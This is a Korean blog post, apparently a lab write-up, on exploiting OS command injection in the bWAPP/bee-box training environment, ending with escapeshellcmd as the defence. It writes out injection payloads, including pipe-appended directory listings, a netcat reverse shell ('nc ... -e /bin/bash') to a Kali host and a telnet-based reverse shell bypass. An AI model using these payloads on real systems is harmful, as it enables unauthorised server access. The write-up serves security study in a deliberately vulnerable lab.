OS 커맨드 인젝션이란? - 취약한 변수로 OS 시스템 명령어를 주입해서 서버 OS에 접근하는 공격이다.
웹페이지에서 서버의 시스템 셸 호출 시 의도하지 않은 악성 명령어를 주입해서 서버의 정보를 알아낸다.
[난이도 하]
아무래도 nslookup 명령어를 사용해서 dns 주소를 출력하는 기능을 하는것 같다.
여기에 파이프라인 | 을 추가해서 뒤에 ls 명령어를 넣어보자. ../../../ 는 서버 상위의 디렉터리로 이동해서 해당 정보를 출력할 것이다.
그랬더니 결과값으로 서버 최상위 디렉터리의 폴더들이 노출되었다.
OS 커맨드 인젝션에서 넷캣 (Netcat) 명령어를 입력하면 비박스 서버 정보를 외부에서 파악할 수 있게된다.
넷캣을 사용하기 위해 칼리리눅스를 틀어보자.
nc -l -p 7777 명령어를 써준다. -l은 리스닝을 의미하며 -p는 포트번호 이다. 포트번호는 무작위 숫자를 넣어주었다.
이제 칼리리눅스 아이피주소와 위에 써준 포트번호를 이용하여 bWAPP에서 넷캣과 연결할 것이다.
| nc 192.168.56.101 7777 -e "/bin/bash" 라고 써주었다. 칼리리눅스 아이피, 포트번호를 넣어주었고 칼리 리눅스에서 비박스 서버 정보를 알기 위해 명령어를 실행해야 하기에 -e 옵션으로 bash셸을 실행할 수 있게끔 하였다.
실질적으로는 보안상 -e 옵션을 사용하면 위처럼 활용하기 때문에 telnet 명령어로 우회 공격을 시도한다.
ex) sleep 1000 | telnet 192.168.56.101 6666 | /bin/sh | telnet 192.168.56.101 7777
이는 미리 6666 과 7777 포트를 열고 기다린 후 대상 서버에서 위와같은 명령을 실행해서 연결한다.
이런 식으로 원격 연결을 시도하면 bWAPP 브라우저는 멈춤 상태가 된다.
이때 칼리리눅스로 가도 별다른 반응은 없는데 아래 빈칸에다가 명령어를 입력하면 beebox 서버에서 명령을 수행할수 있는 것을 확인할 수 있다.
whoami와 같은 명령어와 ls같은 명령어들을 쓸 수 있다. 연결을 해제하려면 ctrl+c를 누르자.
[난이도 중]
low와의 차이를 모르겠다. | ls ../../../ 를 넣어주니 low와 마찬가지로 서버 최상위 디렉터리가 노출되었다. 한번 nc 연결도 해보자.
우선 명령어를 안 쳤을때 ls 해도 아무런 반응이 없다.
| nc 192.168.56.101 7777 -e "/bin/bash" 라고 다시 써주니 low와 똑같이 연결이 잘 되었다.
[난이도 상]
이번에도 똑같이 명령어를 써보았는데 아예 먹히질 않았다. 이번에도 아마 명령어를 연결할때 쓰는 특수문자를 필터링하는 함수를 쓰고있나보다.
functions_external.php를 확인해 보았더니 escapeshellcmd 라는 함수로 필터링 되어 있었다. 이는 시스템 셸로 실행할 수 있는 특수 문자에 백슬래시를 붙여버려서 명령이 실행되지 않도록 방어하는 함수이다. 이 함수를 이용해서 외부에서 시스템 명령어 사용을 차단할 수 있는 것이다.
왠만하면 원천 차단하되 필요한 경우가 있다면 꼭 필요한 명령어 이외에 다른 명령어를 쓸수 없도록 ; & | 문자를 우회한다.
'3. 웹 애플리케이션 취약점 진단 > 비박스를 활용한 웹 애플리케이션 취약점 진단' 카테고리의 다른 글
[비박스를 활용한 웹 취약점 진단] 1-7. 인젝션 [SSI 인젝션] (1) | 2023.12.11 |
---|---|
[비박스를 활용한 웹 취약점 진단] 1-6. 인젝션 [PHP 코드 인젝션] (0) | 2023.12.11 |
[비박스를 활용한 웹 취약점 진단] 1-4. 인젝션 [iFrame 인젝션] (1) | 2023.12.11 |
[비박스를 활용한 웹 취약점 진단] 1-3. 인젝션 [HTML 인젝션 (BLOG)] (0) | 2023.12.11 |
[비박스를 활용한 웹 취약점 진단] 1-2. 인젝션 [HTML 인젝션 (POST)] (1) | 2023.12.11 |